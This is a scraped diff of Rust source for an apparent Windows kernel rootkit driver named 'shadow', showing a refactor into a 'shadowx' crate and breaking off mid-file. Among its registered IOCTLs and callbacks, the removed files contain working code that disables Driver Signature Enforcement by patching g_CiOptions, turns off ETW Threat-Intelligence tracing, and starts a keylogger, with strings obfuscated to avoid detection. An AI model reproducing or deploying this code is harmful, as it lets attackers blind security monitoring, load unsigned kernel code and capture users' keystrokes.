wdk_sys::LIST_ENTRY,
|
|
||||||
super::structs::MMVAD_SHORT,
|
|
||||||
core::{ffi::c_void, mem::ManuallyDrop},
|
|
||||||
};
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct MMVAD {
|
|
||||||
core: MMVAD_SHORT,
|
|
||||||
u2: U2Union,
|
|
||||||
pub subsection: *mut SUBSECTION
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub union U2Union {
|
|
||||||
long_flags2: u32,
|
|
||||||
vad_flags2: ManuallyDrop<MMVAD_FLAGS2>
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct MMVAD_FLAGS2(u32);
|
|
||||||
impl Debug;
|
|
||||||
u32;
|
|
||||||
pub file_offset, set_file_offset: 0, 23; // 24 bits
|
|
||||||
pub large, set_large: 24; // 1 bit
|
|
||||||
pub trim_behind, set_trim_behind: 25; // 1 bit
|
|
||||||
pub inherit, set_inherit: 26; // 1 bit
|
|
||||||
pub no_validation_needed, set_no_validation_needed: 27; // 1 bit
|
|
||||||
pub private_demand_zero, set_private_demand_zero: 28; // 1 bit
|
|
||||||
pub spare, set_spare: 29, 31; // 3 bits
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct SUBSECTION {
|
|
||||||
pub control_area: *mut CONTROL_AREA,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub union LIST_OR_AWE_CONTEXT {
|
|
||||||
list_head: LIST_ENTRY,
|
|
||||||
awe_context: *mut c_void,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub union UUnion {
|
|
||||||
long_flags: u32,
|
|
||||||
flags: u32,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub union U1Union {
|
|
||||||
long_flags: u32,
|
|
||||||
flags: u32,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct CONTROL_AREA {
|
|
||||||
segment: *mut *mut c_void,
|
|
||||||
list_or_awe_context: LIST_OR_AWE_CONTEXT,
|
|
||||||
number_of_section_references: u64,
|
|
||||||
number_of_pfn_references: u64,
|
|
||||||
number_of_mapped_views: u64,
|
|
||||||
number_of_user_references: u64,
|
|
||||||
u: UUnion,
|
|
||||||
u1: U1Union,
|
|
||||||
pub file_pointer: EX_FAST_REF
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub union EX_FAST_REF_INNER {
|
|
||||||
pub object: *mut c_void,
|
|
||||||
pub value: u64,
|
|
||||||
}
|
|
||||||
|
|
||||||
bitfield! {
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct ExFastRef(u64);
|
|
||||||
impl Debug;
|
|
||||||
|
|
||||||
pub ref_cnt, set_ref_cnt: 0, 3;
|
|
||||||
}
|
|
||||||
|
|
||||||
#[repr(C)]
|
|
||||||
pub struct EX_FAST_REF {
|
|
||||||
pub inner: EX_FAST_REF_INNER,
|
|
||||||
}
|
|
||||||
@@ -1,44 +1,36 @@
|
|||||||
#![no_std]
|
#![no_std]
|
||||||
#![allow(unused_must_use)]
|
#![allow(unused_must_use)]
|
||||||
#![allow(unreachable_code)]
|
|
||||||
#![allow(unused_variables)]
|
#![allow(unused_variables)]
|
||||||
|
#![allow(static_mut_refs)]
|
||||||
|
|
||||||
extern crate alloc;
|
extern crate alloc;
|
||||||
|
|
||||||
use {
|
use {
|
||||||
utils::uni,
|
utils::uni,
|
||||||
port::Port,
|
log::{error, info},
|
||||||
kernel_log::KernelLogger,
|
kernel_log::KernelLogger,
|
||||||
wdk_sys::{ntddk::*, _MODE::KernelMode, *},
|
shadowx::error::ShadowError,
|
||||||
core::{ptr::null_mut, sync::atomic::Ordering},
|
crate::utils::ioctls::IoctlManager,
|
||||||
crate::{
|
wdk_sys::{*, ntddk::*, _MODE::KernelMode},
|
||||||
port::HOOK_INSTALLED,
|
core::{ptr::null_mut, sync::atomic::Ordering},
|
||||||
utils::{
|
|
||||||
offsets::BUILD_NUMBER,
|
|
||||||
ioctls::IOCTL_MAP, get_windows_build_number,
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
};
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
use {
|
use shadowx::{
|
||||||
process::{on_pre_open_process, CALLBACK_REGISTRATION_HANDLE_PROCESS},
|
ThreadCallback, CALLBACK_REGISTRATION_HANDLE_THREAD,
|
||||||
thread::{on_pre_open_thread, CALLBACK_REGISTRATION_HANDLE_THREAD},
|
ProcessCallback, CALLBACK_REGISTRATION_HANDLE_PROCESS,
|
||||||
registry::{registry_callback, CALLBACK_REGISTRY},
|
registry::callback::{CALLBACK_REGISTRY, registry_callback}
|
||||||
};
|
};
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(test))]
|
||||||
pub mod registry;
|
extern crate wdk_panic;
|
||||||
pub mod callback;
|
|
||||||
pub mod misc;
|
#[cfg(not(test))]
|
||||||
pub mod driver;
|
#[global_allocator]
|
||||||
pub mod internals;
|
static GLOBAL_ALLOCATOR: wdk_alloc::WDKAllocator = wdk_alloc::WDKAllocator;
|
||||||
pub mod process;
|
|
||||||
pub mod thread;
|
mod modules;
|
||||||
pub mod module;
|
mod utils;
|
||||||
pub mod injection;
|
|
||||||
pub mod port;
|
|
||||||
pub mod utils;
|
|
||||||
|
|
||||||
/// The name of the device in the device namespace.
|
/// The name of the device in the device namespace.
|
||||||
const DEVICE_NAME: &str = "\\Device\\shadow";
|
const DEVICE_NAME: &str = "\\Device\\shadow";
|
||||||
@@ -52,12 +44,12 @@ const DOS_DEVICE_NAME: &str = "\\??\\shadow";
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `driver_object`: Pointer to the driver object.
|
/// * `driver_object` - Pointer to the driver object.
|
||||||
/// - `registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
/// * `registry_path` - Pointer to the Unicode string that specifies the driver's registry path.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
/// * Status code indicating the success or failure of the operation.
|
||||||
///
|
///
|
||||||
/// Reference: WDF expects a symbol with the name DriverEntry
|
/// Reference: WDF expects a symbol with the name DriverEntry
|
||||||
#[export_name = "DriverEntry"]
|
#[export_name = "DriverEntry"]
|
||||||
@@ -68,13 +60,13 @@ pub unsafe extern "system" fn driver_entry(
|
|||||||
KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
|
KernelLogger::init(log::LevelFilter::Info).expect("Failed to initialize logger");
|
||||||
|
|
||||||
#[cfg(feature = "mapper")] {
|
#[cfg(feature = "mapper")] {
|
||||||
use internals::IoCreateDriver;
|
use shadowx::data::IoCreateDriver;
|
||||||
|
|
||||||
const DRIVER_NAME: &str = "\\Driver\\shadow";
|
const DRIVER_NAME: &str = "\\Driver\\shadow";
|
||||||
let mut driver_name = uni::str_to_unicode(DRIVER_NAME).to_unicode();
|
let mut driver_name = uni::str_to_unicode(DRIVER_NAME).to_unicode();
|
||||||
let status = IoCreateDriver(&mut driver_name, Some(shadow_entry));
|
let status = IoCreateDriver(&mut driver_name, Some(shadow_entry));
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("IoCreateDriver Failed With Status: {status}");
|
error!("IoCreateDriver Failed With Status: {status}");
|
||||||
}
|
}
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
@@ -89,18 +81,17 @@ pub unsafe extern "system" fn driver_entry(
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `driver_object`: Pointer to the driver object.
|
/// * `driver_object` - Pointer to the driver object.
|
||||||
/// - `_registry_path`: Pointer to the Unicode string that specifies the driver's registry path.
|
/// * `_registry_path` - Pointer to the Unicode string that specifies the driver's registry path.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
/// * Status code indicating the success or failure of the operation.
|
||||||
///
|
|
||||||
pub unsafe extern "system" fn shadow_entry(
|
pub unsafe extern "system" fn shadow_entry(
|
||||||
driver: &mut DRIVER_OBJECT,
|
driver: &mut DRIVER_OBJECT,
|
||||||
_registry_path: PCUNICODE_STRING,
|
_registry_path: PCUNICODE_STRING,
|
||||||
) -> NTSTATUS {
|
) -> NTSTATUS {
|
||||||
log::info!("Shadow Loaded");
|
info!("Shadow Loaded");
|
||||||
|
|
||||||
let device_name = uni::str_to_unicode(DEVICE_NAME);
|
let device_name = uni::str_to_unicode(DEVICE_NAME);
|
||||||
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
|
let dos_device_name = uni::str_to_unicode(DOS_DEVICE_NAME);
|
||||||
@@ -116,7 +107,7 @@ pub unsafe extern "system" fn shadow_entry(
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("IoCreateDevice Failed With Status: {status}");
|
error!("IoCreateDevice Failed With Status: {status}");
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -129,13 +120,7 @@ pub unsafe extern "system" fn shadow_entry(
|
|||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
IoDeleteDevice(device_object);
|
IoDeleteDevice(device_object);
|
||||||
log::error!("IoCreateSymbolicLink Failed With Status: {status}");
|
error!("IoCreateSymbolicLink Failed With Status: {status}");
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
|
||||||
IoDeleteDevice(device_object);
|
|
||||||
log::error!("PsCreateSystemThread Failed With Status: {status}");
|
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -147,37 +132,50 @@ pub unsafe extern "system" fn shadow_entry(
|
|||||||
#[cfg(not(feature = "mapper"))] {
|
#[cfg(not(feature = "mapper"))] {
|
||||||
status = register_callbacks(driver);
|
status = register_callbacks(driver);
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("register_callbacks Failed With Status: {status}");
|
error!("register_callbacks Failed With Status: {status}");
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
BUILD_NUMBER = get_windows_build_number();
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
}
|
}
|
||||||
|
|
||||||
|
lazy_static::lazy_static! {
|
||||||
|
pub static ref MANAGER: IoctlManager = {
|
||||||
|
let mut manager = IoctlManager::default();
|
||||||
|
manager.load_default_handlers();
|
||||||
|
manager
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
/// Handles device control commands (IOCTL).
|
/// Handles device control commands (IOCTL).
|
||||||
///
|
///
|
||||||
/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
|
/// This function is responsible for processing IOCTL commands received by the driver and executing the corresponding actions.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `_device`: Pointer to the device object (not used in this function).
|
/// * `_device` - Pointer to the device object (not used in this function).
|
||||||
/// - `irp`: Pointer to the I/O request packet (IRP) that contains the information about the device control request.
|
/// * `irp` - Pointer to the I/O request packet (IRP) that contains the information about the device control request.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: Status code indicating the success or failure of the operation.
|
/// * Status code indicating the success or failure of the operation.
|
||||||
///
|
|
||||||
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||||
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
let stack = (*irp).Tail.Overlay.__bindgen_anon_2.__bindgen_anon_1.CurrentStackLocation;
|
||||||
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
let control_code = (*stack).Parameters.DeviceIoControl.IoControlCode;
|
||||||
|
|
||||||
let status = if let Some(handler) = IOCTL_MAP.get(&control_code) {
|
let status = if let Some(handler) = MANAGER.get_handler(control_code) {
|
||||||
handler(irp, stack)
|
handler(irp, stack)
|
||||||
} else {
|
} else {
|
||||||
STATUS_INVALID_DEVICE_REQUEST
|
Err(ShadowError::InvalidDeviceRequest)
|
||||||
|
};
|
||||||
|
|
||||||
|
let status = match status {
|
||||||
|
Ok(ntstatus) => ntstatus,
|
||||||
|
Err(err) => {
|
||||||
|
error!("Error: {err}");
|
||||||
|
STATUS_INVALID_DEVICE_REQUEST
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
(*irp).IoStatus.__bindgen_anon_1.Status = status;
|
(*irp).IoStatus.__bindgen_anon_1.Status = status;
|
||||||
@@ -193,17 +191,17 @@ pub unsafe extern "C" fn device_control(_device: *mut DEVICE_OBJECT, irp: *mut I
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `_device_object`: Pointer to the associated device object (not used in this function).
|
/// * `_device_object` - Pointer to the associated device object (not used in this function).
|
||||||
/// - `irp`: Pointer to the I/O request packet (IRP) containing the information about the close request.
|
/// * `irp` - Pointer to the I/O request packet (IRP) containing the information about the close request.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
/// * Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
||||||
///
|
|
||||||
pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
|
||||||
(*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
|
(*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
|
||||||
(*irp).IoStatus.Information = 0;
|
(*irp).IoStatus.Information = 0;
|
||||||
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
IofCompleteRequest(irp, IO_NO_INCREMENT as i8);
|
||||||
|
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -214,13 +212,12 @@ pub unsafe extern "C" fn driver_close(_device_object: *mut DEVICE_OBJECT, irp: *
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `driver_object`: Pointer to the driver object being unloaded.
|
/// * `driver_object` - Pointer to the driver object being unloaded.
|
||||||
///
|
|
||||||
pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
||||||
log::info!("Unloading driver");
|
info!("Unloading driver");
|
||||||
|
|
||||||
if HOOK_INSTALLED.load(Ordering::Relaxed) {
|
if shadowx::port::HOOK_INSTALLED.load(Ordering::Relaxed) {
|
||||||
let hook_status = Port::uninstall_hook();
|
let hook_status = shadowx::Port::uninstall_hook();
|
||||||
let mut interval = LARGE_INTEGER {
|
let mut interval = LARGE_INTEGER {
|
||||||
QuadPart: -50 * 1000_i64 * 1000_i64,
|
QuadPart: -50 * 1000_i64 * 1000_i64,
|
||||||
};
|
};
|
||||||
@@ -233,36 +230,33 @@ pub unsafe extern "C" fn driver_unload(driver_object: *mut DRIVER_OBJECT) {
|
|||||||
IoDeleteDevice((*driver_object).DeviceObject);
|
IoDeleteDevice((*driver_object).DeviceObject);
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))] {
|
#[cfg(not(feature = "mapper"))] {
|
||||||
ObUnRegisterCallbacks(process::CALLBACK_REGISTRATION_HANDLE_PROCESS);
|
ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_PROCESS);
|
||||||
ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_THREAD);
|
ObUnRegisterCallbacks(CALLBACK_REGISTRATION_HANDLE_THREAD);
|
||||||
CmUnRegisterCallback(CALLBACK_REGISTRY);
|
CmUnRegisterCallback(CALLBACK_REGISTRY);
|
||||||
}
|
}
|
||||||
|
|
||||||
log::info!("Shadow Unload");
|
info!("Shadow Unload");
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Register Callbacks.
|
/// Register Callbacks.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `driver_object`: Pointer to the driver object being unloaded.
|
/// * `driver_object` - Pointer to the driver object being unloaded.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
/// * Status code indicating the success of the operation (always returns `STATUS_SUCCESS`).
|
||||||
///
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
#[cfg(not(feature = "mapper"))]
|
||||||
pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS {
|
pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS {
|
||||||
let mut status;
|
|
||||||
|
|
||||||
// Creating callbacks related to Process operations
|
// Creating callbacks related to Process operations
|
||||||
|
let altitude = uni::str_to_unicode("31243.5222");
|
||||||
let mut op_reg = OB_OPERATION_REGISTRATION {
|
let mut op_reg = OB_OPERATION_REGISTRATION {
|
||||||
ObjectType: PsProcessType,
|
ObjectType: PsProcessType,
|
||||||
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
||||||
PreOperation: Some(on_pre_open_process),
|
PreOperation: Some(ProcessCallback::on_pre_open_process),
|
||||||
PostOperation: None,
|
PostOperation: None,
|
||||||
};
|
};
|
||||||
let altitude = uni::str_to_unicode("31243.5222");
|
|
||||||
let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
||||||
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
||||||
OperationRegistrationCount: 1,
|
OperationRegistrationCount: 1,
|
||||||
@@ -271,20 +265,20 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS
|
|||||||
OperationRegistration: &mut op_reg,
|
OperationRegistration: &mut op_reg,
|
||||||
};
|
};
|
||||||
|
|
||||||
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_PROCESS));
|
let mut status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_PROCESS));
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ObRegisterCallbacks (Process) Failed With Status: {status}");
|
error!("ObRegisterCallbacks (Process) Failed With Status: {status}");
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Creating callbacks related to thread operations
|
// Creating callbacks related to thread operations
|
||||||
|
let altitude = uni::str_to_unicode("31243.5223");
|
||||||
let mut op_reg = OB_OPERATION_REGISTRATION {
|
let mut op_reg = OB_OPERATION_REGISTRATION {
|
||||||
ObjectType: PsThreadType,
|
ObjectType: PsThreadType,
|
||||||
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
Operations: OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE,
|
||||||
PreOperation: Some(on_pre_open_thread),
|
PreOperation: Some(ThreadCallback::on_pre_open_thread),
|
||||||
PostOperation: None,
|
PostOperation: None,
|
||||||
};
|
};
|
||||||
let altitude = uni::str_to_unicode("31243.5223");
|
|
||||||
let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
let mut cb_reg = OB_CALLBACK_REGISTRATION {
|
||||||
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
Version: OB_FLT_REGISTRATION_VERSION as u16,
|
||||||
OperationRegistrationCount: 1,
|
OperationRegistrationCount: 1,
|
||||||
@@ -295,7 +289,7 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS
|
|||||||
|
|
||||||
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_THREAD));
|
status = ObRegisterCallbacks(&mut cb_reg,core::ptr::addr_of_mut!(CALLBACK_REGISTRATION_HANDLE_THREAD));
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ObRegisterCallbacks (Thread) Failed With Status: {status}");
|
error!("ObRegisterCallbacks (Thread) Failed With Status: {status}");
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -311,7 +305,7 @@ pub unsafe fn register_callbacks(driver_object: &mut DRIVER_OBJECT) -> NTSTATUS
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("CmRegisterCallbackEx Failed With Status: {status}");
|
error!("CmRegisterCallbackEx Failed With Status: {status}");
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,44 +0,0 @@
|
|||||||
use {
|
|
||||||
obfstr::obfstr,
|
|
||||||
shared::structs::DSE,
|
|
||||||
wdk_sys::{NTSTATUS, STATUS_UNSUCCESSFUL},
|
|
||||||
crate::utils::{
|
|
||||||
address::{get_function_address, get_module_base_address},
|
|
||||||
patterns::scan_for_pattern
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
pub struct Dse;
|
|
||||||
|
|
||||||
impl Dse {
|
|
||||||
/// Sets the DSE (Driver Signature Enforcement) status based on the information provided.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `info_dse`: A pointer to the `DSE` structure containing information about the state of the DSE.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success (`STATUS_SUCCESS`) or failure of the operation.
|
|
||||||
///
|
|
||||||
pub unsafe fn set_dse_state(info_dse: *mut DSE) -> Result<(), NTSTATUS> {
|
|
||||||
let module_address = get_module_base_address(obfstr!("CI.dll")).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let function_address = get_function_address(obfstr!("CiInitialize"), module_address).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
|
|
||||||
// mov ecx,ebp
|
|
||||||
let instructions = [0x8B, 0xCD];
|
|
||||||
let c_ip_initialize = scan_for_pattern(function_address, &instructions, 3, 7, 0x89, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
|
|
||||||
// mov rbp,r9
|
|
||||||
let instructions = [0x49, 0x8b, 0xE9];
|
|
||||||
let g_ci_options = scan_for_pattern(c_ip_initialize as _, &instructions, 5, 9, 0x21, i32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
|
|
||||||
if (*info_dse).enable {
|
|
||||||
*(g_ci_options as *mut u64) = 0x0006_u64;
|
|
||||||
} else {
|
|
||||||
*(g_ci_options as *mut u64) = 0x000E_u64;
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,47 +0,0 @@
|
|||||||
use {
|
|
||||||
crate::{
|
|
||||||
internals::structs::TRACE_ENABLE_INFO,
|
|
||||||
utils::{
|
|
||||||
uni,
|
|
||||||
patterns::{
|
|
||||||
scan_for_pattern, ETWTI_PATTERN
|
|
||||||
},
|
|
||||||
}
|
|
||||||
},
|
|
||||||
obfstr::obfstr,
|
|
||||||
shared::structs::ETWTI,
|
|
||||||
wdk_sys::{
|
|
||||||
ntddk::MmGetSystemRoutineAddress,
|
|
||||||
NTSTATUS, STATUS_UNSUCCESSFUL
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Represents ETW in the operating system.
|
|
||||||
pub struct Etw;
|
|
||||||
|
|
||||||
impl Etw {
|
|
||||||
/// Enables or disables ETW tracing by manipulating the `ETWTI` structure.
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `info`: A pointer to an `ETWTI` structure, which contains information on whether to enable or disable ETW tracing.
|
|
||||||
///
|
|
||||||
/// # Returns
|
|
||||||
///
|
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure of the operation.
|
|
||||||
///
|
|
||||||
pub unsafe fn etwti_enable_disable(info: *mut ETWTI) -> Result<(), NTSTATUS> {
|
|
||||||
let mut function_name = uni::str_to_unicode(obfstr!("KeInsertQueueApc")).to_unicode();
|
|
||||||
let function_address = MmGetSystemRoutineAddress(&mut function_name);
|
|
||||||
let etwi_handle = scan_for_pattern(function_address, &ETWTI_PATTERN, 5, 9, 0x1000, u32::from_le_bytes).ok_or(STATUS_UNSUCCESSFUL)?;
|
|
||||||
let trace_info = etwi_handle.offset(0x20).offset(0x60) as *mut TRACE_ENABLE_INFO;
|
|
||||||
(*trace_info).is_enabled = if (*info).enable {
|
|
||||||
0x01
|
|
||||||
} else {
|
|
||||||
0x00
|
|
||||||
};
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@@ -1,66 +0,0 @@
|
|||||||
use {
|
|
||||||
alloc::boxed::Box,
|
|
||||||
hashbrown::HashMap,
|
|
||||||
super::keylogger::{get_user_address_keylogger, USER_ADDRESS},
|
|
||||||
wdk_sys::{IO_STACK_LOCATION, IRP, STATUS_SUCCESS, STATUS_UNSUCCESSFUL},
|
|
||||||
crate::{handle, misc::{dse::Dse, etwti::Etw}, utils::ioctls::IoctlHandler},
|
|
||||||
shared::{
|
|
||||||
ioctls::{IOCTL_ENABLE_DSE, IOCTL_ETWTI, IOCTL_KEYLOGGER},
|
|
||||||
structs::{DSE, ETWTI}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
/// Registers the IOCTL handlers for misc-related operations.
|
|
||||||
///
|
|
||||||
/// This function inserts two IOCTL handlers into the provided `HashMap`, associating them with
|
|
||||||
/// their respective IOCTL codes. The two operations supported are:
|
|
||||||
///
|
|
||||||
/// # Arguments
|
|
||||||
///
|
|
||||||
/// - `ioctls`: A mutable reference to a `HashMap<u32, IoctlHandler>` where the misc-related
|
|
||||||
/// IOCTL handlers will be inserted.
|
|
||||||
///
|
|
||||||
pub fn get_misc_ioctls(ioctls: &mut HashMap<u32, IoctlHandler>) {
|
|
||||||
// Responsible for enabling/disabling DSE.
|
|
||||||
ioctls.insert(IOCTL_ENABLE_DSE, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let status = unsafe { handle!(stack, Dse::set_dse_state, DSE) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
// Start Keylogger
|
|
||||||
ioctls.insert(IOCTL_KEYLOGGER, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
unsafe {
|
|
||||||
if USER_ADDRESS == 0 {
|
|
||||||
USER_ADDRESS = match get_user_address_keylogger() {
|
|
||||||
Some(addr) => addr as usize,
|
|
||||||
None => return STATUS_UNSUCCESSFUL,
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
let output_buffer = (*irp).AssociatedIrp.SystemBuffer;
|
|
||||||
if !output_buffer.is_null() {
|
|
||||||
*(output_buffer as *mut usize) = USER_ADDRESS;
|
|
||||||
}
|
|
||||||
|
|
||||||
(*irp).IoStatus.Information = core::mem::size_of::<usize>() as u64;
|
|
||||||
}
|
|
||||||
|
|
||||||
STATUS_SUCCESS
|
|
||||||
}) as IoctlHandler);
|
|
||||||
|
|
||||||
// Responsible for enabling/disabling ETWTI.
|
|
||||||
ioctls.insert(IOCTL_ETWTI, Box::new(|irp: *mut IRP, stack: *mut IO_STACK_LOCATION | {
|
|
||||||
let status = unsafe { handle!(stack, Etw::etwti_enable_disable, ETWTI) };
|
|
||||||
unsafe { (*irp).IoStatus.Information = 0 };
|
|
||||||
|
|
||||||
match status {
|
|
||||||
Ok(_) => STATUS_SUCCESS,
|
|
||||||
Err(err_code) => err_code
|
|
||||||
}
|
|
||||||
}) as IoctlHandler);
|
|
||||||
}
|
|
||||||
@@ -1,80 +0,0 @@
|
|||||||
use {
|
|
||||||
obfstr::obfstr,
|
|
||||||
core::{mem::size_of, ptr::null_mut, ffi::c_void},
|
|
||||||
crate::{
|
|
||||||
process::Process,
|
|
||||||
